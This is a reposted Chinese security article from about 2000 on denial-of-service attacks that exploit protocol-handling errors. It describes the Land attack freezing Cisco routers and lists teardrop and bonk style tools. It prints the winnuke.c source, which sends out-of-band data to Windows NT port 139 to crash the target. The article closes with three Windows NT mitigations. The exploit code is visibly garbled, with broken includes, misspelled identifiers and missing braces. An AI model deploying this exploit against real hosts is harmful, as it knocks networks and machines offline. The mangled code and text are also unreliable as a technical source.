[转]利用处理程序错误攻击(下)

创建时间:2000-06-03
文章属性:转载
文章来源:红色力量
文章提交:xundi (xundi_at_xfocus.org)

从红色力量中转载--见我们的连接
利用处理程序错误攻击(下)


3 Land攻击工具

Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行
攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,
tenlnet命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述:


“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外
部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择
只有来一个硬重启动。“

可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。

更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的
操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。

更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口
的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可
以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有
打过“补丁”,对自己的系统打“补丁”确实是当务之急。

4 OOB攻击工具

5.1 攻击代码

OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的
安全性。

/* winnuke.c – (05/07/97) BY –ECI */

/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */

#include
#include
#include
#include
#include
#include
#include
#define dport 139 /*Attack port; 139 is what we want */

int x,s;

char str =”Bye”; /Makes no diff */

struct sockaddr-in addr, spoofedaddr;

atruct hostent *host;

int opdn-sock(int scok, char *server,int port) {

struct sockaddr-in blah;

struct hostent *he;

bzero ((char*) &blah,sizeof(blah));

blah.sin-family=AF-INET;

blah.sin-addr.s-addf=inet-addf(server);

blah.sin-port=htons(port);

if((he=gethostbyname(server)) ! =NULLL) {

bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);

}

else {

if ((blah.sin-addr =inet-addr (server)) <0) {

return(-3);

}

}

if (connect (sock,(struct sockaddr *)&blah,16)==-1) {

perror(“cinnect()”);

close(sock);

retuen(-4);

}

void main (int argc,char *argv[]) {

if (argc !=2) {

printf(“Usage: %s
exit(0);

}

if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {

PERROR (“socket()”);

Exyt(-1);

}

open-sock(s,argv[1],dport);

printf(“Sending crash …”);

send (s, str, atrldn (str),MSG-OOB);

usleep (100000);

printf(“Done!\n”);

close(s);

}

10.5.2 一些临时措施

目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,
第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。

方法一:

1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。

2. 打开[显示绑定属于]列表,选择[所有适配器]。

3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。

4. 单击[禁用]按钮。

5. 确认后,重新启动系统。

需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。
这是正常的,而且每次启动时都会有。

方法二:

1. 进入[控制面板],找到[设备]图标。

2. 到列表的底部,找到[WINS客户(TCP/IP)]。

3. 单击[停止]按钮,然后单击[关闭]按钮。

4. 重启系统。

这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。
所以要与系统管理员联系,以决定这样做是否必要

方法三:

Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包
进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。

1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。

2. 在IP地址表中,选择[高级]按扭。

3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。

4. 单击[确定],然后退出,重启动系统。

posted on 2007-05-09 10:28  三毛  阅读(424)  评论(0编辑  收藏  举报

导航